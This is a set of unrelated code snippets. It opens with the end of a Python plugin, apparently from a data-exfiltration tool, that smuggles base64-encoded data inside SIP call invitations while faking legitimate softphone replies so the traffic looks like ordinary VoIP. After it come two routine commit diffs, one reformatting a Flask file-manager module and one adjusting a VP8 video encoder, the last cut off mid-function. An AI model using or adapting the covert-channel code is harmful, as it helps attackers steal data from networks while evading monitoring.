        packet.uri = 'sip:{}@{}'.format(self.uas.alias, self.uas.ip)
        packet.headers['Via'] = message.headers['via']
        packet.headers['From'] = message.headers['from']
        packet.headers['To'] = message.headers['to']
        packet.headers['Call-ID'] = message.headers['call-id']
        packet.headers['CSeq'] = '20 ACK'
        packet.headers['Content-Length'] = '0'

        return packet

def listen():
    port = config['port']
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind(('', port))
    while True:
        data, addr = sock.recvfrom(65535)
        try:
            req = sip.Request()
            req.unpack(data)
            if req.method == 'INVITE':
                dialog = SIPDialog()
                dialog.init_from_request(req)
                #Simulate legit softphone responses
                trying = dialog.trying(req)
                sock.sendto(trying.pack(), addr)
                ringing = dialog.ringing(req)
                sock.sendto(ringing.pack(), addr)
                decline = dialog.decline(req)
                sock.sendto(decline.pack(), addr)
                #Check if the request is part of exfiltration job
                if dialog.branch[11:13] == "42" and dialog.call_id[3:5] == "42":
                    parser = re.compile('boundary=(.*)')
                    [boundary] = re.findall(parser, req.headers['content-type'])
                    #Hackish payload isolation
                    payload = req.body.split('--'+boundary)[-2].split('\r\n')[-2]
                    app_exfiltrate.retrieve_data(base64.b64decode(payload))
        except Exception as e:
            print traceback.format_exc()
            print 'exception: ' + repr(e)
            pass

def send(data):
    target = config['target']
    port = config['port']
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind(('', port))
    dialog = SIPDialog()
    laddr = socket.gethostbyname(socket.getfqdn())
    uac = UserAgent(caller, laddr, port=port)
    uas = UserAgent(callee, target, port=port)
    invite = dialog.invite(uac, uas, data)
    sock.sendto(invite.pack(), (target, port))
    while True:
        try:
            recv_data, addr = sock.recvfrom(65535)
            response = sip.Response()
            response.unpack(recv_data)
            if response.reason == 'Decline':
                ack = dialog.ack(response)
                sock.sendto(ack.pack(), (target, port))
                sock.close()
                break
            else:
                continue
        except:
            pass
        break

def zombie():
    pass

class Plugin:

    def __init__(self, app, conf):
        global app_exfiltrate, config
        app_exfiltrate = app
        config = conf
        app.register_plugin('sip', {'send': send, 'listen': listen, 'zombie': zombie})
<|endoftext|>


<commit_before>import os
import os.path as op
import platform
import urlparse
import re
import shutil

from operator import itemgetter

from werkzeug import secure_filename

from flask import flash, url_for, redirect, abort, request

from flask_superadmin.base import BaseView, expose
from flask_superadmin.babel import gettext, lazy_gettext
from flask_superadmin import form
from flask.ext import wtf

class NameForm(form.BaseForm):
    """
        Form with a filename input field.

        Validates if provided name is valid for *nix and Windows systems.
    """
    name = wtf.TextField()

    regexp = re.compile(r'^(?!^(PRN|AUX|CLOCK\$|NUL|CON|COM\d|LPT\d|\..*)(\..+)?$)[^\x00-\x1f\\?*:\";|/]+$')

    def validate_name(self, field):
        if not self.regexp.match(field.data):
            raise wtf.ValidationError(gettext('Invalid directory name'))

class UploadForm(form.BaseForm):
    """
        File upload form. Works with FileAdmin instance to check if it is allowed
        to upload file with given extension.
    """
    upload = wtf.FileField(lazy_gettext('File to upload'))

    def __init__(self, admin):
        self.admin = admin

        super(UploadForm, self).__init__()

    def validate_upload(self, field):
        if not self.upload.has_file():
            raise wtf.ValidationError(gettext('File required.'))

        filename = self.upload.data.filename

        if not self.admin.is_file_allowed(filename):
            raise wtf.ValidationError(gettext('Invalid file type.'))

class FileAdmin(BaseView):
    """
        Simple file-management interface.

        Requires two parameters:

        `path`
            Path to the directory which will be managed
        `url`
            Base URL for the directory. Will be used to generate
            static links to the files.

        Sample usage::

            admin = Admin()

            path = op.join(op.dirname(__file__), 'static')
            admin.add_view(FileAdmin(path, '/static/', name='Static Files'))
            admin.setup_app(app)
    """

    can_upload = True
    """
        Is file upload allowed.
    """

    can_delete = True
    """
        Is file deletion allowed.
    """

    can_delete_dirs = True
    """
        Is recursive directory deletion is allowed.
    """

    can_mkdir = True
    """
        Is directory creation allowed.
    """

    can_rename = True
    """
        Is file and directory renaming allowed.
    """

    allowed_extensions = None
    """
        List of allowed extensions for uploads, in lower case.

        Example::

            class MyAdmin(FileAdmin):
                allowed_extensions = ('swf', 'jpg', 'gif', 'png')
    """

    list_template = 'admin/file/list.html'
    """
        File list template
    """

    upload_template = 'admin/file/form.html'
    """
        File upload template
    """

    mkdir_template = 'admin/file/form.html'
    """
        Directory creation (mkdir) template
    """

    rename_template = 'admin/file/rename.html'
    """
        Rename template
    """

    def __init__(self, base_path, base_url,
                 name=None, category=None, endpoint=None, url=None):
        """
            Constructor.

            `base_path`
                Base file storage location
            `base_url`
                Base URL for the files
            `name`
                Name of this view. If not provided, will be defaulted to the class name.
            `category`
                View category
            `endpoint`
                Endpoint name for the view
            `url`
                URL for view
        """
        self.base_path = base_path
        self.base_url = base_url

        self._on_windows = platform.system() == 'Windows'

        # Convert allowed_extensions to set for quick validation
        if (self.allowed_extensions
                and not isinstance(self.allowed_extensions, set)):
            self.allowed_extensions = set(self.allowed_extensions)

        super(FileAdmin, self).__init__(name, category, endpoint, url)

    def is_accessible_path(self, path):
        """
            Verify if path is accessible for current user.

            Override to customize behavior.

            `path`
                Relative path to the root
        """
        return True

    def get_base_path(self):
        """
            Return base path. Override to customize behavior (per-user
            directories, etc)
        """
        return op.normpath(self.base_path)

    def get_base_url(self):
        """
            Return base URL. Override to customize behavior (per-user
            directories, etc)
        """
        return self.base_url

    def is_file_allowed(self, filename):
        """
            Verify if file can be uploaded.

            Override to customize behavior.

            `filename`
                Source file name
        """
        ext = op.splitext(filename)[1].lower()

        if ext.startswith('.'):
            ext = ext[1:]

        if self.allowed_extensions and ext not in self.allowed_extensions:
            return False

        return True

    def is_in_folder(self, base_path, directory):
        """
            Verify if `directory` is in `base_path` folder
        """
        return op.normpath(directory).startswith(base_path)

    def save_file(self, path, file_data):
        """
            Save uploaded file to the disk

            `path`
                Path to save to
            `file_data`
                Werkzeug `FileStorage` object
        """
        file_data.save(path)

    def _get_dir_url(self, endpoint, path, **kwargs):
        """
            Return prettified URL

            `endpoint`
                Endpoint name
            `path`
                Directory path
            `kwargs`
                Additional arguments
        """
        if not path:
            return url_for(endpoint)
        else:
            if self._on_windows:
                path = path.replace('\\', '/')

            kwargs['path'] = path

            return url_for(endpoint, **kwargs)

    def _get_file_url(self, path):
        """
            Return static file url

            `path`
                Static file path
        """
        base_url = self.get_base_url()
        return urlparse.urljoin(base_url, path)

    def _normalize_path(self, path):
        """
            Verify and normalize path.

            If path is not relative to the base directory, will throw 404 exception.

            If path does not exist, will also throw 404 exception.
        """
        base_path = self.get_base_path()

        if path is None:
            directory = base_path
            path = ''
        else:
            path = op.normpath(path)
            directory = op.normpath(op.join(base_path, path))

            if not self.is_in_folder(base_path, directory):
                abort(404)

        if not op.exists(directory):
            abort(404)

        return base_path, directory, path

    def field_name(self, text):
        return text.capitalize()

    @expose('/')
    @expose('/b/<path:path>')
    def index(self, path=None):
        """
            Index view method

            `path`
                Optional directory path. If not provided, will use base directory
        """
        # Get path and verify if it is valid
        base_path, directory, path = self._normalize_path(path)

        # Get directory listing
        items = []

        # Parent directory
        if directory != base_path:
            parent_path = op.normpath(op.join(path, '..'))
            if parent_path == '.':
                parent_path = None

            items.append(('..', parent_path, True, 0))

        for f in os.listdir(directory):
            fp = op.join(directory, f)

            items.append((f, op.join(path, f), op.isdir(fp), op.getsize(fp)))

        # Sort by type
        items.sort(key=itemgetter(2), reverse=True)

        # Generate breadcrumbs
        accumulator = []
        breadcrumbs = []
        for n in path.split(os.sep):
            accumulator.append(n)
            breadcrumbs.append((n, op.join(*accumulator)))

        return self.render(self.list_template,
                           dir_path=path,
                           breadcrumbs=breadcrumbs,
                           get_dir_url=self._get_dir_url,
                           get_file_url=self._get_file_url,
                           items=items,
                           base_path=base_path)

    @expose('/upload/', methods=('GET', 'POST'))
    @expose('/upload/<path:path>', methods=('GET', 'POST'))
    def upload(self, path=None):
        """
            Upload view method

            `path`
                Optional directory path. If not provided, will use base directory
        """
        # Get path and verify if it is valid
        base_path, directory, path = self._normalize_path(path)

        if not self.can_upload:
            flash(gettext('File uploading is disabled.'), 'error')
            return redirect(self._get_dir_url('.index', path))

        form = UploadForm(self)
        if form.validate_on_submit():
            filename = op.join(directory,
                               secure_filename(form.upload.data.filename))

            if op.exists(filename):
                flash(gettext('File "%(name)s" already exists.', name=form.upload.data.filename),
                      'error')
            else:
                try:
                    self.save_file(filename, form.upload.data)
                    return redirect(self._get_dir_url('.index', path))
                except Exception, ex:
                    flash(gettext('Failed to save file: %(error)s', error=ex))

        return self.render(self.upload_template,
                           form=form,
                           base_path=base_path,
                           path=path,
                           msg=gettext(u'Upload a file'))

    @expose('/mkdir/', methods=('GET', 'POST'))
    @expose('/mkdir/<path:path>', methods=('GET', 'POST'))
    def mkdir(self, path=None):
        """
            Directory creation view method

            `path`
                Optional directory path. If not provided, will use base directory
        """
        # Get path and verify if it is valid
        base_path, directory, path = self._normalize_path(path)

        dir_url = self._get_dir_url('.index', path)

        if not self.can_mkdir:
            flash(gettext('Directory creation is disabled.'), 'error')
            return redirect(dir_url)

        form = NameForm(request.form)

        if form.validate_on_submit():
            try:
                os.mkdir(op.join(directory, form.name.data))
                return redirect(dir_url)
            except Exception, ex:
                flash(gettext('Failed to create directory: %(error)s', ex), 'error')

        return self.render(self.mkdir_template,
                           form=form,
                           dir_url=dir_url,
                           base_path=base_path,
                           path=path,
                           msg=gettext(u'Create a new directory'))

    @expose('/delete/', methods=('POST',))
    def delete(self):
        """
            Delete view method
        """
        path = request.form.get('path')

        if not path:
            return redirect(url_for('.index'))

        # Get path and verify if it is valid
        base_path, full_path, path = self._normalize_path(path)

        return_url = self._get_dir_url('.index', op.dirname(path))

        if not self.can_delete:
            flash(gettext('Deletion is disabled.'))
            return redirect(return_url)

        if op.isdir(full_path):
            if not self.can_delete_dirs:
                flash(gettext('Directory deletion is disabled.'))
                return redirect(return_url)

            try:
                shutil.rmtree(full_path)
                flash(gettext('Directory "%s" was successfully deleted.' % path))
            except Exception, ex:
                flash(gettext('Failed to delete directory: %(error)s', error=ex), 'error')
        else:
            try:
                os.remove(full_path)
                flash(gettext('File "%(name)s" was successfully deleted.', name=path))
            except Exception, ex:
                flash(gettext('Failed to delete file: %(name)s', name=ex), 'error')

        return redirect(return_url)

    @expose('/rename/', methods=('GET', 'POST'))
    def rename(self):
        """
            Rename view method
        """
        path = request.args.get('path')

        if not path:
            return redirect(url_for('.index'))

        base_path, full_path, path = self._normalize_path(path)

        return_url = self._get_dir_url('.index', op.dirname(path))

        if not self.can_rename:
            flash(gettext('Renaming is disabled.'))
            return redirect(return_url)

        if not op.exists(full_path):
            flash(gettext('Path does not exist.'))
            return redirect(return_url)

        form = NameForm(request.form, name=op.basename(path))
        if form.validate_on_submit():
            try:
                dir_base = op.dirname(full_path)
                filename = secure_filename(form.name.data)

                os.rename(full_path, op.join(dir_base, filename))
                flash(gettext('Successfully renamed "%(src)s" to "%(dst)s"',
                      src=op.basename(path),
                      dst=filename))
            except Exception, ex:
                flash(gettext('Failed to rename: %(error)s', error=ex), 'error')

            return redirect(return_url)

        return self.render(self.rename_template,
                           form=form,
                           path=op.dirname(path),
                           name=op.basename(path),
                           dir_url=return_url,
                           base_path=base_path)
<commit_msg>PEP8 Line too long fixes on fileadmin<commit_after>import os
import os.path as op
import platform
import urlparse
import re
import shutil

from operator import itemgetter

from werkzeug import secure_filename

from flask import flash, url_for, redirect, abort, request

from flask_superadmin.base import BaseView, expose
from flask_superadmin.babel import gettext, lazy_gettext
from flask_superadmin import form
from flask.ext import wtf

class NameForm(form.BaseForm):
    """
        Form with a filename input field.

        Validates if provided name is valid for *nix and Windows systems.
    """
    name = wtf.TextField()

    regexp = re.compile(r'^(?!^(PRN|AUX|CLOCK\$|NUL|CON|COM\d|LPT\d|\..*)'
                        r'(\..+)?$)[^\x00-\x1f\\?*:\";|/]+$')

    def validate_name(self, field):
        if not self.regexp.match(field.data):
            raise wtf.ValidationError(gettext('Invalid directory name'))

class UploadForm(form.BaseForm):
    """
        File upload form. Works with FileAdmin instance to check if it
        is allowed to upload file with given extension.
    """
    upload = wtf.FileField(lazy_gettext('File to upload'))

    def __init__(self, admin):
        self.admin = admin

        super(UploadForm, self).__init__()

    def validate_upload(self, field):
        if not self.upload.has_file():
            raise wtf.ValidationError(gettext('File required.'))

        filename = self.upload.data.filename

        if not self.admin.is_file_allowed(filename):
            raise wtf.ValidationError(gettext('Invalid file type.'))

class FileAdmin(BaseView):
    """
        Simple file-management interface.

        Requires two parameters:

        `path`
            Path to the directory which will be managed
        `url`
            Base URL for the directory. Will be used to generate
            static links to the files.

        Sample usage::

            admin = Admin()

            path = op.join(op.dirname(__file__), 'static')
            admin.add_view(FileAdmin(path, '/static/', name='Static Files'))
            admin.setup_app(app)
    """

    can_upload = True
    """
        Is file upload allowed.
    """

    can_delete = True
    """
        Is file deletion allowed.
    """

    can_delete_dirs = True
    """
        Is recursive directory deletion is allowed.
    """

    can_mkdir = True
    """
        Is directory creation allowed.
    """

    can_rename = True
    """
        Is file and directory renaming allowed.
    """

    allowed_extensions = None
    """
        List of allowed extensions for uploads, in lower case.

        Example::

            class MyAdmin(FileAdmin):
                allowed_extensions = ('swf', 'jpg', 'gif', 'png')
    """

    list_template = 'admin/file/list.html'
    """
        File list template
    """

    upload_template = 'admin/file/form.html'
    """
        File upload template
    """

    mkdir_template = 'admin/file/form.html'
    """
        Directory creation (mkdir) template
    """

    rename_template = 'admin/file/rename.html'
    """
        Rename template
    """

    def __init__(self, base_path, base_url,
                 name=None, category=None, endpoint=None, url=None):
        """
            Constructor.

            `base_path`
                Base file storage location
            `base_url`
                Base URL for the files
            `name`
                Name of this view. If not provided,
                will be defaulted to the class name.
            `category`
                View category
            `endpoint`
                Endpoint name for the view
            `url`
                URL for view
        """
        self.base_path = base_path
        self.base_url = base_url

        self._on_windows = platform.system() == 'Windows'

        # Convert allowed_extensions to set for quick validation
        if (self.allowed_extensions
                and not isinstance(self.allowed_extensions, set)):
            self.allowed_extensions = set(self.allowed_extensions)

        super(FileAdmin, self).__init__(name, category, endpoint, url)

    def is_accessible_path(self, path):
        """
            Verify if path is accessible for current user.

            Override to customize behavior.

            `path`
                Relative path to the root
        """
        return True

    def get_base_path(self):
        """
            Return base path. Override to customize behavior (per-user
            directories, etc)
        """
        return op.normpath(self.base_path)

    def get_base_url(self):
        """
            Return base URL. Override to customize behavior (per-user
            directories, etc)
        """
        return self.base_url

    def is_file_allowed(self, filename):
        """
            Verify if file can be uploaded.

            Override to customize behavior.

            `filename`
                Source file name
        """
        ext = op.splitext(filename)[1].lower()

        if ext.startswith('.'):
            ext = ext[1:]

        if self.allowed_extensions and ext not in self.allowed_extensions:
            return False

        return True

    def is_in_folder(self, base_path, directory):
        """
            Verify if `directory` is in `base_path` folder
        """
        return op.normpath(directory).startswith(base_path)

    def save_file(self, path, file_data):
        """
            Save uploaded file to the disk

            `path`
                Path to save to
            `file_data`
                Werkzeug `FileStorage` object
        """
        file_data.save(path)

    def _get_dir_url(self, endpoint, path, **kwargs):
        """
            Return prettified URL

            `endpoint`
                Endpoint name
            `path`
                Directory path
            `kwargs`
                Additional arguments
        """
        if not path:
            return url_for(endpoint)
        else:
            if self._on_windows:
                path = path.replace('\\', '/')

            kwargs['path'] = path

            return url_for(endpoint, **kwargs)

    def _get_file_url(self, path):
        """
            Return static file url

            `path`
                Static file path
        """
        base_url = self.get_base_url()
        return urlparse.urljoin(base_url, path)

    def _normalize_path(self, path):
        """
            Verify and normalize path.

            If path is not relative to the base directory,
            will throw 404 exception.

            If path does not exist, will also throw 404 exception.
        """
        base_path = self.get_base_path()

        if path is None:
            directory = base_path
            path = ''
        else:
            path = op.normpath(path)
            directory = op.normpath(op.join(base_path, path))

            if not self.is_in_folder(base_path, directory):
                abort(404)

        if not op.exists(directory):
            abort(404)

        return base_path, directory, path

    def field_name(self, text):
        return text.capitalize()

    @expose('/')
    @expose('/b/<path:path>')
    def index(self, path=None):
        """
            Index view method

            `path`
                Optional directory path. If not provided,
                will use base directory
        """
        # Get path and verify if it is valid
        base_path, directory, path = self._normalize_path(path)

        # Get directory listing
        items = []

        # Parent directory
        if directory != base_path:
            parent_path = op.normpath(op.join(path, '..'))
            if parent_path == '.':
                parent_path = None

            items.append(('..', parent_path, True, 0))

        for f in os.listdir(directory):
            fp = op.join(directory, f)

            items.append((f, op.join(path, f), op.isdir(fp), op.getsize(fp)))

        # Sort by type
        items.sort(key=itemgetter(2), reverse=True)

        # Generate breadcrumbs
        accumulator = []
        breadcrumbs = []
        for n in path.split(os.sep):
            accumulator.append(n)
            breadcrumbs.append((n, op.join(*accumulator)))

        return self.render(self.list_template,
                           dir_path=path,
                           breadcrumbs=breadcrumbs,
                           get_dir_url=self._get_dir_url,
                           get_file_url=self._get_file_url,
                           items=items,
                           base_path=base_path)

    @expose('/upload/', methods=('GET', 'POST'))
    @expose('/upload/<path:path>', methods=('GET', 'POST'))
    def upload(self, path=None):
        """
            Upload view method

            `path`
                Optional directory path. If not provided,
                will use base directory
        """
        # Get path and verify if it is valid
        base_path, directory, path = self._normalize_path(path)

        if not self.can_upload:
            flash(gettext('File uploading is disabled.'), 'error')
            return redirect(self._get_dir_url('.index', path))

        form = UploadForm(self)
        if form.validate_on_submit():
            filename = op.join(directory,
                               secure_filename(form.upload.data.filename))

            if op.exists(filename):
                flash(gettext('File "%(name)s" already exists.',
                              name=form.upload.data.filename), 'error')
            else:
                try:
                    self.save_file(filename, form.upload.data)
                    return redirect(self._get_dir_url('.index', path))
                except Exception, ex:
                    flash(gettext('Failed to save file: %(error)s', error=ex))

        return self.render(self.upload_template,
                           form=form,
                           base_path=base_path,
                           path=path,
                           msg=gettext(u'Upload a file'))

    @expose('/mkdir/', methods=('GET', 'POST'))
    @expose('/mkdir/<path:path>', methods=('GET', 'POST'))
    def mkdir(self, path=None):
        """
            Directory creation view method

            `path`
                Optional directory path. If not provided,
                will use base directory
        """
        # Get path and verify if it is valid
        base_path, directory, path = self._normalize_path(path)

        dir_url = self._get_dir_url('.index', path)

        if not self.can_mkdir:
            flash(gettext('Directory creation is disabled.'), 'error')
            return redirect(dir_url)

        form = NameForm(request.form)

        if form.validate_on_submit():
            try:
                os.mkdir(op.join(directory, form.name.data))
                return redirect(dir_url)
            except Exception, ex:
                flash(gettext('Failed to create directory: %(error)s', ex),
                      'error')

        return self.render(self.mkdir_template,
                           form=form,
                           dir_url=dir_url,
                           base_path=base_path,
                           path=path,
                           msg=gettext(u'Create a new directory'))

    @expose('/delete/', methods=('POST',))
    def delete(self):
        """
            Delete view method
        """
        path = request.form.get('path')

        if not path:
            return redirect(url_for('.index'))

        # Get path and verify if it is valid
        base_path, full_path, path = self._normalize_path(path)

        return_url = self._get_dir_url('.index', op.dirname(path))

        if not self.can_delete:
            flash(gettext('Deletion is disabled.'))
            return redirect(return_url)

        if op.isdir(full_path):
            if not self.can_delete_dirs:
                flash(gettext('Directory deletion is disabled.'))
                return redirect(return_url)

            try:
                shutil.rmtree(full_path)
                flash(
                    gettext('Directory "%s" was successfully deleted.' % path)
                )
            except Exception, ex:
                flash(
                    gettext('Failed to delete directory: %(error)s', error=ex),
                    'error'
                )
        else:
            try:
                os.remove(full_path)
                flash(gettext('File "%(name)s" was successfully deleted.',
                              name=path))
            except Exception, ex:
                flash(gettext('Failed to delete file: %(name)s',
                              name=ex), 'error')

        return redirect(return_url)

    @expose('/rename/', methods=('GET', 'POST'))
    def rename(self):
        """
            Rename view method
        """
        path = request.args.get('path')

        if not path:
            return redirect(url_for('.index'))

        base_path, full_path, path = self._normalize_path(path)

        return_url = self._get_dir_url('.index', op.dirname(path))

        if not self.can_rename:
            flash(gettext('Renaming is disabled.'))
            return redirect(return_url)

        if not op.exists(full_path):
            flash(gettext('Path does not exist.'))
            return redirect(return_url)

        form = NameForm(request.form, name=op.basename(path))
        if form.validate_on_submit():
            try:
                dir_base = op.dirname(full_path)
                filename = secure_filename(form.name.data)

                os.rename(full_path, op.join(dir_base, filename))
                flash(gettext('Successfully renamed "%(src)s" to "%(dst)s"',
                      src=op.basename(path),
                      dst=filename))
            except Exception, ex:
                flash(gettext('Failed to rename: %(error)s',
                              error=ex), 'error')

            return redirect(return_url)

        return self.render(self.rename_template,
                           form=form,
                           path=op.dirname(path),
                           name=op.basename(path),
                           dir_url=return_url,
                           base_path=base_path)
<|endoftext|>


<commit_before>import math
import multiprocessing
from struct import pack, unpack

from ..mediastreams import VideoFrame
from ._vpx import ffi, lib

PACKET_MAX = 1300 - 1
MAX_FRAME_RATE = 30

def number_of_threads(pixels, cpus):
    if pixels >= 1920 * 1080 and cpus > 8:
        return 8
    elif pixels > 1280 * 960 and cpus >= 6:
        return 3
    elif pixels > 640 * 480 and cpus >= 3:
        return 2
    else:
        return 1

class VpxPayloadDescriptor:
    props = ['partition_start', 'partition_id', 'picture_id']

    def __init__(self, partition_start, partition_id, picture_id=None,
                 tl0picidx=None, tid=None, keyidx=None):
        self.partition_start = partition_start
        self.partition_id = partition_id
        self.picture_id = picture_id
        self.tl0picidx = tl0picidx
        self.tid = tid
        self.keyidx = keyidx

    def __bytes__(self):
        octet = (self.partition_start << 4) | self.partition_id

        ext_octet = 0
        if self.picture_id is not None:
            ext_octet |= 1 << 7
        if self.tl0picidx is not None:
            ext_octet |= 1 << 6
        if self.tid is not None:
            ext_octet |= 1 << 5
        if self.keyidx is not None:
            ext_octet |= 1 << 4

        if ext_octet:
            data = pack('!BB', (1 << 7) | octet, ext_octet)
            if self.picture_id is not None:
                if self.picture_id < 128:
                    data += pack('!B', self.picture_id)
                else:
                    data += pack('!H', (1 << 15) | self.picture_id)
            if self.tl0picidx is not None:
                data += pack('!B', self.tl0picidx)
            if self.tid is not None or self.keyidx is not None:
                t_k = 0
                if self.tid is not None:
                    t_k |= (self.tid[0] << 6) | (self.tid[1] << 5)
                if self.keyidx is not None:
                    t_k |= self.keyidx
                data += pack('!B', t_k)
        else:
            data = pack('!B', octet)

        return data

    def __repr__(self):
        return 'VpxPayloadDescriptor(S=%d, PID=%d, pic_id=%s)' % (
            self.partition_start, self.partition_id, self.picture_id)

    @classmethod
    def parse(cls, data):
        # first byte
        octet = data[0]
        extended = octet >> 7
        partition_start = (octet >> 4) & 1
        partition_id = octet & 0xf
        picture_id = None
        tl0picidx = None
        tid = None
        keyidx = None
        pos = 1

        # extended control bits
        if extended:
            octet = data[pos]
            ext_I = (octet >> 7) & 1
            ext_L = (octet >> 6) & 1
            ext_T = (octet >> 5) & 1
            ext_K = (octet >> 4) & 1
            pos += 1

            # picture id
            if ext_I:
                if data[pos] & 0x80:
                    picture_id = unpack('!H', data[pos:pos+2])[0] & 0x7fff
                    pos += 2
                else:
                    picture_id = data[pos]
                    pos += 1

            # unused
            if ext_L:
                tl0picidx = unpack('!B', data[pos:pos+1])[0]
                pos += 1
            if ext_T or ext_K:
                t_k = unpack('!B', data[pos:pos+1])[0]
                if ext_T:
                    tid = (
                        (t_k >> 6) & 3,
                        (t_k >> 5) & 1
                    )
                if ext_K:
                    keyidx = t_k & 0x1f
                pos += 1

        obj = cls(partition_start=partition_start, partition_id=partition_id, picture_id=picture_id,
                  tl0picidx=tl0picidx, tid=tid, keyidx=keyidx)
        return obj, data[pos:]

def _vpx_assert(err):
    if err != lib.VPX_CODEC_OK:
        reason = ffi.string(lib.vpx_codec_err_to_string(err))
        raise Exception('libvpx error: ' + reason.decode('utf8'))

class VpxDecoder:
    def __init__(self):
        self.codec = ffi.new('vpx_codec_ctx_t *')
        _vpx_assert(lib.vpx_codec_dec_init(self.codec, lib.vpx_codec_vp8_dx(), ffi.NULL, 0))

        ppcfg = ffi.new('vp8_postproc_cfg_t *')
        ppcfg.post_proc_flag = lib.VP8_DEMACROBLOCK | lib.VP8_DEBLOCK
        ppcfg.deblocking_level = 3
        lib.vpx_codec_control_(self.codec, lib.VP8_SET_POSTPROC, ppcfg)

    def __del__(self):
        lib.vpx_codec_destroy(self.codec)

    def decode(self, payloads):
        data = b''
        for payload in payloads:
            if payload:
                vpx_descriptor, rest = VpxPayloadDescriptor.parse(payload)
                data += rest

        frames = []
        result = lib.vpx_codec_decode(self.codec, data, len(data), ffi.NULL, lib.VPX_DL_REALTIME)
        if result == lib.VPX_CODEC_OK:
            it = ffi.new('vpx_codec_iter_t *')
            while True:
                img = lib.vpx_codec_get_frame(self.codec, it)
                if not img:
                    break
                assert img.fmt == lib.VPX_IMG_FMT_I420

                o_buf = bytearray(math.ceil(img.d_w * img.d_h * 12 / 8))
                o_pos = 0
                for p in range(3):
                    i_stride = img.stride[p]
                    i_buf = ffi.buffer(img.planes[p], i_stride * img.d_h)
                    i_pos = 0

                    div = p and 2 or 1
                    o_stride = img.d_w // div
                    for r in range(0, img.d_h // div):
                        o_buf[o_pos:o_pos + o_stride] = i_buf[i_pos:i_pos + o_stride]
                        i_pos += i_stride
                        o_pos += o_stride

                frames.append(VideoFrame(width=img.d_w, height=img.d_h, data=bytes(o_buf)))

        return frames

class VpxEncoder:
    timestamp_increment = 3000

    def __init__(self):
        self.cx = lib.vpx_codec_vp8_cx()

        self.cfg = ffi.new('vpx_codec_enc_cfg_t *')
        lib.vpx_codec_enc_config_default(self.cx, self.cfg, 0)

        self.codec = None
        self.timestamp = 0

    def __del__(self):
        if self.codec:
            lib.vpx_codec_destroy(self.codec)

    def encode(self, frame):
        image = ffi.new('vpx_image_t *')

        lib.vpx_img_wrap(image, lib.VPX_IMG_FMT_I420,
                         frame.width, frame.height, 1, frame.data)

        if not self.codec:
            self.codec = ffi.new('vpx_codec_ctx_t *')
            self.cfg.g_timebase.num = 1
            self.cfg.g_timebase.den = 90000
            self.cfg.g_threads = number_of_threads(frame.width * frame.height,
                                                   multiprocessing.cpu_count())
            self.cfg.g_w = frame.width
            self.cfg.g_h = frame.height
            self.cfg.rc_target_bitrate = 900
            self.cfg.rc_end_usage = lib.VPX_CBR
            self.cfg.rc_min_quantizer = 2
            self.cfg.rc_max_quantizer = 56
            self.cfg.rc_undershoot_pct = 100
            self.cfg.rc_overshoot_pct = 15
            self.cfg.rc_buf_initial_sz = 500
            self.cfg.rc_buf_optimal_sz = 600
            self.cfg.rc_buf_sz = 1000
            self.cfg.kf_mode = lib.VPX_KF_AUTO
            self.cfg.kf_max_dist = 3000
            _vpx_assert(lib.vpx_codec_enc_init(self.codec, self.cx, self.cfg, 0))
        elif frame.width != self.cfg.g_w or frame.height != self.cfg.g_h:
            self.cfg.g_w = frame.width
            self.cfg.g_h = frame.height
            _vpx_assert(lib.vpx_codec_enc_config_set(self.codec, self.cfg))

        duration = 90000 // MAX_FRAME_RATE
        _vpx_assert(lib.vpx_codec_encode(
            self.codec, image, self.timestamp, duration,  0, lib.VPX_DL_REALTIME))
        self.timestamp += duration

        it = ffi.new('vpx_codec_iter_t *')
        payloads = []
        while True:
            pkt = lib.vpx_codec_get_cx_data(self.codec, it)
            if not pkt:
                break
            if pkt and pkt.kind == lib.VPX_CODEC_CX_FRAME_PKT:
                buf = ffi.buffer(pkt.data.frame.buf, pkt.data.frame.sz)
                descr = VpxPayloadDescriptor(partition_start=1, partition_id=0)
                for pos in range(0, len(buf), PACKET_MAX):
                    data = buf[pos:pos + PACKET_MAX]
                    payloads.append(bytes(descr) + data)
                    descr.partition_start = 0
        return payloads
<commit_msg>[vpx] if the frame size changes, we need to recreate the encoder<commit_after>import math
import multiprocessing
from struct import pack, unpack

from ..mediastreams import VideoFrame
from ._vpx import ffi, lib

PACKET_MAX = 1300 - 1
MAX_FRAME_RATE = 30

def number_of_threads(pixels, cpus):
    if pixels >= 1920 * 1080 and cpus > 8:
        return 8
    elif pixels > 1280 * 960 and cpus >= 6:
        return 3
    elif pixels > 640 * 480 and cpus >= 3:
        return 2
    else:
        return 1

class VpxPayloadDescriptor:
    props = ['partition_start', 'partition_id', 'picture_id']

    def __init__(self, partition_start, partition_id, picture_id=None,
                 tl0picidx=None, tid=None, keyidx=None):
        self.partition_start = partition_start
        self.partition_id = partition_id
        self.picture_id = picture_id
        self.tl0picidx = tl0picidx
        self.tid = tid
        self.keyidx = keyidx

    def __bytes__(self):
        octet = (self.partition_start << 4) | self.partition_id

        ext_octet = 0
        if self.picture_id is not None:
            ext_octet |= 1 << 7
        if self.tl0picidx is not None:
            ext_octet |= 1 << 6
        if self.tid is not None:
            ext_octet |= 1 << 5
        if self.keyidx is not None:
            ext_octet |= 1 << 4

        if ext_octet:
            data = pack('!BB', (1 << 7) | octet, ext_octet)
            if self.picture_id is not None:
                if self.picture_id < 128:
                    data += pack('!B', self.picture_id)
                else:
                    data += pack('!H', (1 << 15) | self.picture_id)
            if self.tl0picidx is not None:
                data += pack('!B', self.tl0picidx)
            if self.tid is not None or self.keyidx is not None:
                t_k = 0
                if self.tid is not None:
                    t_k |= (self.tid[0] << 6) | (self.tid[1] << 5)
                if self.keyidx is not None:
                    t_k |= self.keyidx
                data += pack('!B', t_k)
        else:
            data = pack('!B', octet)

        return data

    def __repr__(self):
        return 'VpxPayloadDescriptor(S=%d, PID=%d, pic_id=%s)' % (
            self.partition_start, self.partition_id, self.picture_id)

    @classmethod
    def parse(cls, data):
        # first byte
        octet = data[0]
        extended = octet >> 7
        partition_start = (octet >> 4) & 1
        partition_id = octet & 0xf
        picture_id = None
        tl0picidx = None
        tid = None
        keyidx = None
        pos = 1

        # extended control bits
        if extended:
            octet = data[pos]
            ext_I = (octet >> 7) & 1
            ext_L = (octet >> 6) & 1
            ext_T = (octet >> 5) & 1
            ext_K = (octet >> 4) & 1
            pos += 1

            # picture id
            if ext_I:
                if data[pos] & 0x80:
                    picture_id = unpack('!H', data[pos:pos+2])[0] & 0x7fff
                    pos += 2
                else:
                    picture_id = data[pos]
                    pos += 1

            # unused
            if ext_L:
